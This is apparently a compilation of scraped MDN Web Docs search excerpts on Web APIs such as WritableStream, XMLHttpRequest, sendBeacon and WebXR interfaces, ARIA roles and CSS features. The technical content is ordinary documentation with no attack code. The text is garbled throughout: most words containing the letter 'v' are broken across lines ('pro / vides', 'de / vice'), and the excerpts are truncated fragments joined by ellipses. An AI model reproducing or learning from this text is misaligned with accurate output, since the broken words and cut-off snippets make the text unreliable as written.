... windoworworkerglobalscope.indexeddb read only pro
vides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an idbfactory object.
... specifications specification status comment html li
ving standardthe definition of 'windoworworkerglobalscope mixin' in that specification.
... li
ving standard this is where the main mixin is defined.
WorkerLocation - Web APIs
such an object is initialized for each worker and is available
via the workerglobalscope.location property obtained by calling self.location.
... this interface is only
visible from inside a javascript script executed in the context of a web worker.
... specifications specification status comment html li
ving standardthe definition of 'workerlocation' in that specification.
... li
ving standard ...
WritableStream.WritableStream() - Web APIs
this method will be called only after pre
vious writes have succeeded, and never after the stream is closed or aborted (see below).
...tten"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var
view = new uint16array(buffer);
view[0] = chunk; var decoded = decoder.decode(
view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "...
... backpressure because of how backpressure is supported in the api, its implementation in code may be less than ob
vious.
... li
ving standard initial definition.
Synchronous and asynchronous requests - Web APIs
r.arguments = array.prototype.slice.call(arguments, 2); xhr.onload = xhrsuccess; xhr.onerror = xhrerror; xhr.open("get", url, true); xhr.send(null); } usage: function showmessage(message) { console.log(message + this.responsetext); } loadfile("message.txt", showmessage, "new message!\n\n"); the signature of the utility function loadfile declares (i) a target url to read (
via an http get request), (ii) a function to execute on successful completion of the xhr operation, and (iii) an arbitrary list of additional arguments that are passed through the xhr object (
via the arguments property) to the success callback function.
...when fetch with keepalive isn't available, you can consider using the na
vigator.sendbeacon() api, which can support these use cases while typically delivering a good ux.
...:( client.setrequestheader("content-type", "text/plain;charset=utf-8"); client.send(analyticsdata); } using the sendbeacon() method, the data will be transmitted asynchronously to the web server when the user agent has had an opportunity to do so, without delaying the unload or affecting the performance of the next na
vigation.
... window.addeventlistener('unload', logdata, false); function logdata() { na
vigator.sendbeacon("/log", analyticsdata); } ...
XMLHttpRequest.sendAsBinary() - Web APIs
the string is converted to binary for transfer by remo
ving the high-order byte of each character.
...fill :: |*| |*| https://developer.mozilla.org/docs/dom/xmlhttprequest#sendasbinary() |*| \*/ if (!xmlhttprequest.prototype.sendasbinary) { xmlhttprequest.prototype.sendasbinary = function (sdata) { var nbytes = sdata.length, ui8data = new uint8array(nbytes); for (var nidx = 0; nidx < nbytes; nidx++) { ui8data[nidx] = sdata.charcodeat(nidx) & 0xff; } /* send as arraybuffer
view...: */ this.send(ui8data); /* ...or as arraybuffer (legacy)...: this.send(ui8data.buffer); */ }; } note: it's possible to build this polyfill putting two types of data as argument for send(): an arraybuffer (ui8data.buffer – the commented code) or an arraybuffer
view (ui8data, which is a typed array of 8-bit unsigned integers – uncommented code).
...use arraybuffer
view instead.
... another possible approach to send binary data is the string
view non native typed arrays superclass in conjunction with the send() method.
XRHandedness - Web APIs
the webxr enumerated type xrhandedness pro
vides values which identify which of a user's hands is being used to operate a particular input controller attached to the xr input de
vice being used.
... examples one important usage scentario for handedness is to determine which hand a controller is in so you can draw a representation of that hand (or the de
vice that hand is controlling) in
virtual space.
...if a gripspace is present, that means the input source is a hand-held de
vice of some sort, so it should be rendered
visibly if possible.
... specifications specification status comment webxr de
vice apithe definition of 'xrhandedness' in that specification.
XRInputSourceEvent.frame - Web APIs
usage notes the event frame does not correspond to a
visual frame as is delivered to the frame rendering callback function (see rendering and the webxr frame rendering callback for details on the callback).
... instead, the xrframe specified by the frame property is simply a method to pro
vide access to the getpose() method, which you can use to get the relative positions of the objects in the scene at the time the event occurred.
... however, since the event frame isn't an animation frame, there is no
viewer pose available to represent the
viewer's current point of
view; the results of calling get
viewerpose() will be an xr
viewerpose with an empty
views list.
... xrsession.onselectstart = event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { checkandhandlehit(targetraypose.transform); } }; specifications specification status comment webxr de
vice apithe definition of 'xrinputsourceevent.frame' in that specification.
XRInputSourceEventInit - Web APIs
the xrinputsourceeventinit dictionary is used when calling the xrinputsourceevent() constructor to pro
vide configuration options for the newly-created xrinputsourceevent object to take on.
...this event is not associated with the animation process, and has no
viewer information contained within it.
... inputsource an xrinputsource object representing the input de
vice from which the event is being sent.
... specifications specification status comment webxr de
vice apithe definition of 'xrinputsourceeventinit' in that specification.
XRInputSourcesChangeEventInit - Web APIs
the xrinputsourceschangeeventinit dictionary is used to pro
vide options to the xrinputsourceschangeevent() constructor in order to set the initial state of the new xrinputsourceschangeevent object.
... properties added read only an array of zero or more xrinputsource objects, each representing one input de
vice which is newly available to use.
... removed read only an array of zero or more xrinputsource objects representing the input de
vices which are no longer available.
... examples <tbd> specifications specification status comment webxr de
vice apithe definition of 'xrinputsourceschangeeventinit' in that specification.
XRPermissionStatus - Web APIs
the xrpermissionstatus interface defines the object returned by calling na
vigator.permissions.query() for the xr permission name; it indicates whether or not the app or site has permission to use webxr, an may be monitored over time for changes to that permissions tate.
... granted an array of strings listing the names of the features for which permission has been granted as of the time at which na
vigator.permissions.query() was called.
... any feature which was specified in either the optionalfeatures or requiredfeatures when calling na
vigator.permissions.query() are listed in granted if and only if permission to use them is granted.
... usage notes examples specifications specification status comment webxr de
vice apithe definition of 'xrpermissionstatus' in that specification.
XRRigidTransform() - Web APIs
among other things, xrrigidtransform is used when pro
viding a transform to translate between coordinate systems across spaces.
... let animationframerequestid = 0; xrsession.requestreferencespace("local-floor") .then((refspace) => { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform(
viewerposition,
viewerorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); }); after requesting a reference space of type local-floor, the returned promise is eventually resolved, at which time we receive a new reference space object, refspace.
... after creating an xrrigidtransform from the
viewer's initial position and orientation, we pass the new transform into getoffsetreferencespace() to create another reference space, now offset so that its origin is located at the same place in space as the coordinates given by
viewerposition, with the orientation also re
vised in the same fashion.
... specifications specification status comment webxr de
vice apithe definition of 'xrrigidtransform()' in that specification.
XRRigidTransform - Web APIs
the transform of an xr
view.
... the advantage to using xrrigidtransform in these places rather than bare arrays that pro
viding the matrix data is that the xrrigidtransform automatically does things like computing the inverse of the transform.
...that is, if applied to an object that had been pre
viously transformed by the original transform, it will undo the transform and return the original object.
... xrsession.requestreferencespace(refspacetype) .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(
viewerstartposition, cubeorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); specifications specification status comment webxr de
vice apithe definition of 'xrrigidtransform' in that specification.
XRSession.cancelAnimationFrame() - Web APIs
the cancelanimationframe() method of the xrsession interface cancels an animation frame which was pre
viously requested by calling requestanimationframe.
... syntax xrsession.cancelanimationframe(handle); parameters handle the unique value returned by the call to requestanimationframe() that pre
viously scheduled the animation callback.
...since each frame callback schedules the next one, remo
ving the callback terminates updating of the webxr scene.
... const xr = na
vigator.xr; let requesthandle = null; let xrsession = null; if (xr) { xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { startxr(); } }); } function framecallback(time, xrframe) { xrsession.requestanimationframe(framecallback); // update and render the frame } async function startxr() { xrsession = xr.requestsession("immersive-vr"); if (xrsession) { stopbutton.onclick = stopxr; requesthandle = xrsession.requestanimationframe(framecallback); } } function pausexr() { if (xrsession && requesthandle) { xrsession.cancelanimationframe(requesthandle); requesthandle = null; } } specifications specification status comment webxr de
vice apithe definition of 'xrsession.c...
XRSession: inputsourceschange event - Web APIs
the inputsourceschange event is sent to an xrsession when the set of available webxr input de
vices changes.
... the received event, of type xrinputsourceschangeevent, contains a list of any newly added and/or removed input de
vices.
... bubbles yes cancelable no interface xrinputsourceschangeevent event handler property oninputsourceschange the event object contains lists of the newly-added and/or removed input de
vices in its added and removed properties.
... examples specifications specification status comment webxr de
vice apithe definition of 'inputsourceschange event' in that specification.
XRSession.onsqueeze - Web APIs
the xrsession interface's onsqueeze event handler property can be set to a function which is then invoked to handle the squeeze event that's sent when the user successfully completes a primary squeeze action on a webxr input de
vice.
...this is determined by comparing the input source's handedness against the value of a handedness property on a user object we've established pre
viously.
... xrsession.onsqueeze = event => { if (event.inputsource.handedness != user.handedness) { handleoffhandsqueeze(event.inputsource, event.frame); } }; finishing an ongoing squeeze action this example exapnds somewhat on the pre
vious example by demonstrating a way to implement the ability for the user to drop an object that was pre
viously picked up by the user..
... specifications specification status comment webxr de
vice apithe definition of 'xrsession.onsqueeze' in that specification.
XRSpace - Web APIs
the xrspace interface of the webxr de
vice api is an abstract interface pro
viding a common basis for every class which represents a
virtual coordinate system within the
virtual world, in which its origin corresponds to a physical location.
...there are exceptions to this static nature; most commonly, an xrreferencespace may move in order to adjust based on reconfiguration of the user's headset or other motion-sensitive de
vice.
... methods the xrspace interface pro
vides no methods of its own.
... specifications specification status comment webxr de
vice apithe definition of 'xrspace' in that specification.
XRWebGLLayer() - Web APIs
the webxr de
vice api xrwebgllayer() constructor creates and returns a new xrwebgllayer object, pro
viding the linkage between the webxr de
vice and the webgl graphics layer used to render the 3d scene.
... layerinit optional an object conforming to the xrwebgllayerinit dictionary, pro
viding configuration options for the new xrwebgllayer.
...the static xrwebgllayer function xrwebgllayer.getnativeframebufferscalefactor() returns the scale that would result in a 1:1 pixel ratio, thereby ensuring that the rendering is occurring at the de
vice's native resolution.
... specifications specification status comment webxr de
vice apithe definition of 'xrwebgllayer()' in that specification.
XRWebGLLayerInit - Web APIs
the webxr de
vice api's xrwebgllayerinit dictionary is used to pro
vide configuration options when creating a new xrwebgllayer object with the xrwebgllayer() constructor.
...the static xrwebgllayer function xrwebgllayer.getnativeframebufferscalefactor() returns the scale that would result in a 1:1 pixel ratio, thereby ensuring that the rendering is occurring at the de
vice's native resolution.
... examples given an xrsession, xrsession, and a webgl rendering context, gl, this snippet sets the rendering layer for the session, specifying the ignoredepthvalues option, indicating that the depth buffer should not be used (or should not exist at all), and that the only source for distance information of any given point is its position relative to the
viewer.
... const layeroptions = { ignoredepthvalues: true }; xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, layeroptions); }); specifications specification status comment webxr de
vice apithe definition of 'xrwebgllayerinit' in that specification.
ARIA: timer role - Accessibility
associated wai-aria roles, states, and properties aria-label used to pro
vide the name of the timer.
... aria-describedby used to indicate the idref of an element that contains additional instructions for na
vigating or operating this element.
...focus is being managed
via xxx.
...on subsequent calls, only the parts of the content that changed compared to the pre
vious content will be announced.
ARIA: alert role - Accessibility
description one of the five live region roles, the alert role is used to pro
vide the user with important, and usually time-sensitive, information, and often to tell the user an element has been dynamically updated.
...for example, if a page loads with multiple
visible alerts scattered throughout, none would be read because they are not dynamically triggered.
... <p role="alert" style="display: none;">the alert will trigger when the element becomes
visible.</p> while triggering an alert
via css alone is possible, it is better to rely on javascript because it has more browser/screen reader support and is often more appropriate as part of a larger user interaction such as inside an event handler or form validation.
... with javascript, developers control the adding and remo
ving of alerts as appropriate.
ARIA: search role - Accessibility
landmarks can be used by assistive technology to quickly identify and na
vigate to large sections of the document.
... best practices prefer html using the <form> element in conjunction with a declaration of role="search" will pro
vide the largest amount of support.
... labeling landmarks multiple landmarks if there is more than one search landmark role in a document, pro
vide a label for each landmark.
... added benefits certain technologies such as browser extensions can generate lists of all landmark roles present on a page, allowing non-screen reader users to also quickly identify and na
vigate to large sections of the document.
ARIA: heading role - Accessibility
to give the page more structure, a level should also be pro
vided to indicate relationships between sections.
... <div role="heading" aria-level="1">this is a main page heading</div> this defines the text in the div to be the main heading of the page, indicated by being level 1
via the aria-level attribute.
... keyboard interactions this role does not require any special keyboard na
vigation.
... as with any heading, gi
ving it an id ensures it can be referenced from anchor links, making it accessible
via the keyboard.
-webkit-mask-attachment - CSS: Cascading Style Sheets
if a -webkit-mask-image is specified, -webkit-mask-attachment determines whether the mask image's position is fixed within the
viewport, or scrolls along with its containing block.
...ttachment: scroll; -webkit-mask-attachment: fixed; -webkit-mask-attachment: local; /* multiple values */ -webkit-mask-attachment: scroll, local; -webkit-mask-attachment: fixed, local, scroll; /* global values */ -webkit-mask-attachment: inherit; -webkit-mask-attachment: initial; -webkit-mask-attachment: unset; syntax values scroll if scroll is specified, the mask image scrolls within the
viewport along with the block that contains the mask image.
... fixed if fixed is specified, the mask image does not scroll with its containing element, instead remaining stationary within the
viewport.
... formal definition initial valuescrollapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <attachment>#where <attachment> = scroll | fixed | local examples fixing a mask image to the
viewport body { -webkit-mask-image: url('images/mask.png'); -webkit-mask-attachment: fixed; } specifications not part of any standard.
::-webkit-scrollbar - CSS: Cascading Style Sheets
examples .
visible-scrollbar, .in
visible-scrollbar, .mostly-customized-scrollbar { display: block; width: 10em; overflow: auto; height: 2em; } .in
visible-scrollbar::-webkit-scrollbar { display: none; } /* demonstrate a "mostly customized" scrollbar * (won't be
visible otherwise if width/height is specified) */ .mostly-customized-scrollbar::-webkit-scrollbar { width: 5px; height: 8px; backgro...
...und-color: #aaa; /* or add it to the track */ } /* add a thumb */ .mostly-customized-scrollbar::-webkit-scrollbar-thumb { background: #000; } <div class="
visible-scrollbar"> etiam sagittis sem sed lacus laoreet, eu fermentum eros auctor.
...
vivamus consectetur ipsum a ornare blandit.
...</div> <div class="in
visible-scrollbar"> thisisaveeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeerylongword </div> <div class="mostly-customized-scrollbar"> thisisaveeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeerylongword<br> and pretty tall<br> thing with weird scrollbars.<br> who thought scrollbars could be made weeeeird?
::first-letter (:first-letter) - CSS: Cascading Style Sheets
/* selects the first letter of a <p> */ p::first-letter { font-size: 130%; } the first letter of an element is not always tri
vial to identify: punctuation that precedes or immediately follows the first letter is included in the match.
... html <h2>my heading</h2> <p>lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor in
vidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.
...definition of edge-case beha
vior, such as in list items or with specific languages (e.g., the dutch digraph ij).
... css level 2 (re
vision 1)the definition of '::first-letter' in that specification.
:host() - CSS: Cascading Style Sheets
the most ob
vious use of this is to put a class name only on certain custom element instances, and then include the relevant class selector as the function argument.
... browser compatibility desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:host()chrome full support 54edge full support 79firefox full support 63 full support 63 no support 61 — 63...
...to change preferences in firefox,
visit about:config.ie no support noopera full support 41safari full support 10notes full support 10notes notes certain css selectors do not work (:host > .local-child) and styling slotted content (::slotted) is buggy.web
view android full support 54chrome android full support 54firefox android full support ...
...to change preferences in firefox,
visit about:config.opera android full support 41safari ios full support 10notes full support 10notes notes certain css selectors do not work (:host > .local-child) and styling slotted content (::slotted) is buggy.samsung internet android full support 6.0legend ...
:optional - CSS: Cascading Style Sheets
this will ensure that people na
vigating with the aid of assistive technology such as a screen reader will be able to understand which inputs need valid content to ensure a successful form submission.
... required inputs should also be indicated
visually, using a treatment that does not rely solely on color to convey meaning.
... mdn understanding wcag, guideline 3.3 explanations understanding success criterion 3.3.2 | w3c understanding wcag 2.0 specifications specification status comment html li
ving standardthe definition of ':optional' in that specification.
... li
ving standard no change.
:required - CSS: Cascading Style Sheets
this will ensure that people na
vigating with the aid of assistive technology such as a screen reader will be able to understand which inputs need valid content to ensure a successful submission.
... if the form also contains optional inputs, required inputs should be indicated
visually using a treatment that does not rely solely on color to convey meaning.
... mdn understanding wcag, guideline 3.3 explanations understanding success criterion 3.3.2 | w3c understanding wcag 2.0 specifications specification status comment html li
ving standardthe definition of ':required' in that specification.
... li
ving standard no change.
:scope - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:scopechrome full support 27edge full support 79firefox full support 32notes full support 32notes notes firefox 55 removes support for...
...to change preferences in firefox,
visit about:config.ie no support noopera full support 15safari full support 7web
view android full support ≤37chrome android full support 27firefox android full...
...to change preferences in firefox,
visit about:config.opera android full support 15safari ios full support 7samsung internet android full support 1.5support in dom api such as in queryselector() and queryselectorall()chrome full support 27edge ...
... full support 79firefox full support 32ie no support noopera full support 15safari full support 7web
view android full support ≤37chrome android full support 27firefox android full support 32opera android full support 15safari ios full support 7samsung internet android full support 1.5legend ...
:where() - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:where()chrome full support 72disabled full support 72disabled disabled from version 72: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... to change preferences in chrome,
visit chrome://flags.edge no support nofirefox full support 78 full support 78 full support 77notes disabled notes enabled by default in firefox nightly.disabled from version 77: this feature is behind the layout.css.is-where-selectors.enabled preference (needs to be set to enabled).
... to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari no support noweb
view android no support nochrome android full support 72disabled full support 72disabled disabled from version 72: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... to change preferences in chrome,
visit chrome://flags.firefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
color-gamut - CSS: Cascading Style Sheets
the color-gamut css media feature can be used to test the approximate range of colors that are supported by the user agent and the output de
vice.
... srgb the output de
vice can support approximately the srgb gamut or more.
... p3 the output de
vice can support approximately the gamut specified by the dci p3 color space or more.
... rec2020 the output de
vice can support approximately the gamut specified by the itu-r recommendation bt.2020 color space or more.
color-index - CSS: Cascading Style Sheets
the color-index css media feature can be used to test the number of entries in the output de
vice's color lookup table.
... syntax the color-index feature is specified as an <integer> value representing the number of entries in the output de
vice's color lookup table.
... (this value is zero if the de
vice does not use such a table.) it is a range feature, meaning that you can also use the prefixed min-color-index and max-color-index variants to query minimum and maximum values, respectively.
... examples basic example html <p>this is a test.</p> css p { color: black; } @media (color-index) { p { color: red; } } @media (min-color-index: 15000) { p { color: #1475ef; } } result custom stylesheet this html will apply a special stylesheet for de
vices that have at least 256 colors.
display-mode - CSS: Cascading Style Sheets
you can use it to pro
vide a consistent user experience between launching a site from a url and launching it from a desktop icon.
...this can include the application ha
ving a different window, its own icon in the application launcher, etc.
... in this mode, the user agent will exclude ui elements for controlling na
vigation, but can include other ui elements such as a status bar.
... minimal-ui minimal-ui the application will look and feel like a standalone application, but will have a minimal set of ui elements for controlling na
vigation.
@page - CSS: Cascading Style Sheets
the @page at-rule can be accessed
via the css object model interface csspagerule.
... note: the w3c is discussing how to handle
viewport-related <length> units, vh, vw, vmin, and vmax.
... working draft no change from css level 2 (re
vision 1), though more css at-rules can be used inside a @page.
... css level 2 (re
vision 1)the definition of '@page' in that specification.
max-height - CSS: Cascading Style Sheets
the max-height css descriptor specifies the maximum height of the
viewport of a document defined
via the @
viewport at-rule.
... the height will initially be set as close as possible to the initial
viewport height considering the maximum height constraint.
... <percentage> a percentage value relative to the height of the initial
viewport at zoom factor 1.0 for vertical lengths.
... formal definition related at-rule@
viewportinitial valueautopercentagesrefer to the height of the initial
viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <
viewport-length>where <
viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting
viewport max height in pixels @
viewport { max-height: 600px; } specifications specification status comment css de
vice adaptationthe definition of '"max-height" descriptor' in that specification.
max-width - CSS: Cascading Style Sheets
the max-width css descriptor specifies the maximum width of the
viewport of a document defined
via the @
viewport at-rule.
... by default, the width is set as close as possible to the initial
viewport considering the maximum width constraint.
... <percentage> a percentage value relative to the width of the initial
viewport at zoom factor 1.0 for horizontal lengths.
... formal definition related at-rule@
viewportinitial valueautopercentagesrefer to the width of the initial
viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <
viewport-length>where <
viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting
viewport max width in pixels @
viewport { max-width: 600px; } specifications specification status comment css de
vice adaptationthe definition of '"max-width" descriptor' in that specification.
min-height - CSS: Cascading Style Sheets
the min-height css descriptor specifies the minimum height of the
viewport of a document defined
via the @
viewport at-rule.
... the height will initially be set as close as possible to the initial
viewport height considering the minimum height constraint.
... <percentage> a percentage value relative to the height of the initial
viewport at zoom factor 1.0 for vertical lengths.
... formal definition related at-rule@
viewportinitial valueautopercentagesrefer to the height of the initial
viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <
viewport-length>where <
viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting
viewport min height in pixels @
viewport { min-height: 200px; } specifications specification status comment css de
vice adaptationthe definition of '"min-height" descriptor' in that specification.
min-width - CSS: Cascading Style Sheets
the min-width css descriptor specifies the minimum width of the
viewport of a document defined
via @
viewport.
... by default, min-width is set as close as possible to the initial
viewport considering the minimum width constraint.
... <percentage> a percentage value relative to the width or height of the initial
viewport at zoom factor 1.0, for horizontal and vertical lengths respectively.
... formal definition related at-rule@
viewportinitial valueautopercentagesrefer to the width of the initial
viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <
viewport-length>where <
viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting
viewport min width in pixels @
viewport { min-width: 200px; } specifications specification status comment css de
vice adaptationthe definition of '"min-width" descriptor' in that specification.
orientation - CSS: Cascading Style Sheets
the orientation css descriptor controls the orientation of a document defined by @
viewport.
... /* keyword values */ orientation: auto; orientation: portrait; orientation: landscape; for a ua/de
vice where the orientation is changed upon tilting the de
vice, an author can use this descriptor to inhibit the orientation change.
... syntax values auto the user agent will set the document's orientation automatically, typically based on the de
vice's orientation as determined by an accelerometer (if the de
vice has such a hardware sensor), although there is often a user-controlled, os-level "lock orientation" setting that will trump the accelerometer reading.
... formal definition related at-rule@
viewportinitial valueautopercentagesrefer to the size of bounding boxcomputed valueas specified formal syntax auto | portrait | landscape examples setting
viewport orientation @
viewport { orientation: landscape; } specifications specification status comment css de
vice adaptationthe definition of '"orientation" descriptor' in that specification.
Box alignment in Flexbox - CSS: Cascading Style Sheets
therefore it is easiest to think about the main and cross axis when working in flexbox like so: the main axis = direction set by flex-direction = alignment
via justify-content the cross axis = runs across the main axis = alignment
via align-content, align-self/align-items main axis alignment justify-content cross axis alignment align-self align-items align-content there is no justify-self in flexbox on the main axis, flexbox deals with our content as a group.
... this means that a justify-self property does not make sense in flexbox as we are always dealing with mo
ving the entire group of items around.
... alignment and auto margins there is a specific use case in flexbox where we might think that a justify-self property is what we need, and this is when we want to split a set of flex items, perhaps to create a split na
vigation pattern.
... by setting a margin of auto on one item in a set of flex items all aligned to start, we can create a split na
vigation.
CSS Basic Box Model - CSS: Cascading Style Sheets
css basic box model is a module of css that defines the rectangular boxes—including their padding and margin—that are generated for elements and laid out according to the
visual formatting model.
...overflow-x overflow-y properties controlling the size of a box height width max-height max-width min-height min-width properties controlling the margins of a box margin margin-bottom margin-left margin-right margin-top margin-trim properties controlling the paddings of a box padding padding-bottom padding-left padding-right padding-top other properties
visibility guides introduction to the css box model explains one of the fundamental concept of css: the box model.
...
visual formatting model explains the
visual formatting model.
... specifications specification status comment css basic box model working draft added margin-trim css level 2 (re
vision 1) recommendation css level 1 recommendation initial definition.
Handling Overflow in Multicol - CSS: Cascading Style Sheets
in this situation, the content should
visibly overflow into the next column, rather than be clipped by the column box.
... the example below shows this overflow beha
viour.
... in a future version of the specification it would be useful to be able to have overflow columns in continuous media display in the block direction, therefore allowing the reader to scroll down to
view the next set of columns.
... using vertical media queries one issue with multicol on the web is that, if your columns are taller than the
viewport, the reader will need to scroll up and down to read, which is not good user experience.
Spanning and Balancing Columns - CSS: Cascading Style Sheets
note the spanning and balancing functionality covered in this guide is not as well supported across browsers as the functionality covered in the pre
vious two sections in this guide.
... additionally, if a spanning element appears later in the content it can cause unexpected or unwanted beha
viour when there is not enough content to create columns after the spanner.
...filling and balancing comes into play when the amount of content does not match the amount of space pro
vided, such as when a height is declared on the container.
...in the example below we have changed column-fill to auto and the columns are now filled, in order, to the height of the multicol container, lea
ving some columns empty at the end.
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
any float beha
viour does not apply.
... you can test the fallback beha
viour by remo
ving display: flex from the wrapper.
... display: inline-block once an inline-block item becomes a flex item, it is blockified and so beha
vior of display: inline-block like preser
ving white space between items no longer applies.
... remove display: flex to see the fallback beha
vior.
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this article pro
vides a set of mixins for those who want to mess around with flexbox using the native support of current browsers.
... this set uses: fallbacks using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari, chrome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/
view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks
visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers.
...align-self allows this default alignment to be overridden for indi
vidual flex items.
...lue; @if $value == flex-start { -ms-flex-item-align: start; } @else if $value == flex-end { -ms-flex-item-align: end; } @else { -ms-flex-item-align: $value; } align-self: $value; } flexbox align content the align-content property aligns a flex container's lines within the flex container when there is extra space in the cross-axis, similar to how justify-content aligns indi
vidual items within the main axis.
CSS Fonts - CSS: Cascading Style Sheets
these are all referred to as opentype features, and are made available to use on the web
via specific properties and a low-level control property — font-feature-settings.
... this article pro
vides you with all you need to know about using opentype font features in css.
... variable fonts guide variable fonts are an evolution of the opentype font specification that enables many different variations of a typeface to be incorporated into a single file, rather than ha
ving a separate font file for every width, weight, or style.
... css fonts module level 3 candidate recommendation adds font-feature-settings (and related higher-level properties) css level 2 (re
vision 1) recommendation css level 1 recommendation initial definition ...
Layout using named grid lines - CSS: Cascading Style Sheets
in pre
vious guides we’ve looked at placing items by the lines created by defining grid tracks and also how to place items using named template areas.
... gi
ving lines multiple names you may want to give a line more than one name, perhaps it denotes the sidebar-end and the main-start for example.
... .wrapper { grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr); } if your repeating syntax puts two lines next to each other then they will be merged, and create the same result as gi
ving a line multiple names in a non-repeating track definition.
...in practice i find that for straightforward layouts, using named template areas works well, it gives that nice
visual representation of what your layout looks like, and it is then easy to move things around on the grid.
Understanding CSS z-index - CSS: Cascading Style Sheets
z-axis positions are particularly relevant when boxes overlap
visually.
... using z-index appears extremely easy: a single property, assigned a single integer number, with an easy-to-understand beha
viour.
... however, when z-index is applied to complex hierarchies of html elements, its beha
viour can be hard to understand or predict.
... last updated date: july 9, 2005 author's note: thanks to wladimir palant and rod whiteley for the re
view.
Basic Shapes - CSS: Cascading Style Sheets
therefore the default beha
viour is as if you have defined.
... in the live example you can play with increasing or decreasing the size of the circle by changing the size of the radius, mo
ving the circle around with the position value, or setting a reference box as we did for inset().
...you can see this by mo
ving the centre of our circle towards the content by setting the position to 60%.
...this means that the centre of the ellipse is on the left edge of the box gi
ving us a half ellipse shape to wrap our text around.
Layout and the containing block - CSS: Cascading Style Sheets
each box is di
vided into four areas: content area padding area border area margin area many developers believe that the containing block of an element is always the content area of its parent, but that isn't necessarily true.
... if the position property is fixed, the containing block is established by the
viewport (in the case of continuous media) or the page area (in the case of paged media).
...it has the dimensions of the
viewport (for continuous media) or the page area (for paged media).
...width: 50%; /* == (400px + 20px + 20px) * .5 = 220px */ height: 25%; /* == (160px + 30px + 30px) * .25 = 55px */ margin: 5%; /* == (400px + 20px + 20px) * .05 = 22px */ padding: 5%; /* == (400px + 20px + 20px) * .05 = 22px */ background: cyan; } example 4 in this example, the paragraph's position is fixed, so its containing block is the initial containing block (on screens, the
viewport).
Column layouts - CSS: Cascading Style Sheets
you will often need to create a layout which has a number of columns, and css pro
vides several ways to do this.
...the columns must all be the same size, and you are unable to target an indi
vidual column or the content of an indi
vidual column.
... you do not need to target indi
vidual column boxes for styling.
...this is a different beha
vior to what you saw with multicol.
Pagination - CSS: Cascading Style Sheets
this cookbook pattern demonstrates the na
vigation pattern used to display pagination, where the user can move between pages of content such as search results.
...to ensure that the pagination is understandable by people using a screenreader, we mark the items up as a list inside a <nav> element, and then use css to display the layout
visually as a row.
... .pagination { list-style: none; margin: 0; padding: 0; display: flex; column-gap: 2px; } accessibility concerns we want to ensure that a person using a screenreader understands what this na
vigation does, and where they will go when clicking a link.
... we have also added some additional content that would be read by a screenreader but is hidden
visually, and set the aria-hidden attribute on the paging arrows.
CSS Layout cookbook - CSS: Cascading Style Sheets
in addition to pro
viding code you can use as a starting point in your projects, these recipes highlight the different ways layout specifications can be used, and the choices you can make as a developer.
... flexbox, box alignment sticky footers creating a footer which sits at the bottom of the container or
viewport when the content is shorter.
... css grid, flexbox split na
vigation a na
vigation pattern where some links are
visually separated from the others.
... flexbox, margin breadcrumb na
vigation creating a list of links to allow the
visitor to na
vigate back up through the page hierarchy.
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
reduced motion blinking and flashing animation can be problematic for people with cognitive concerns such as attention deficit hyperacti
vity disorder (adhd).
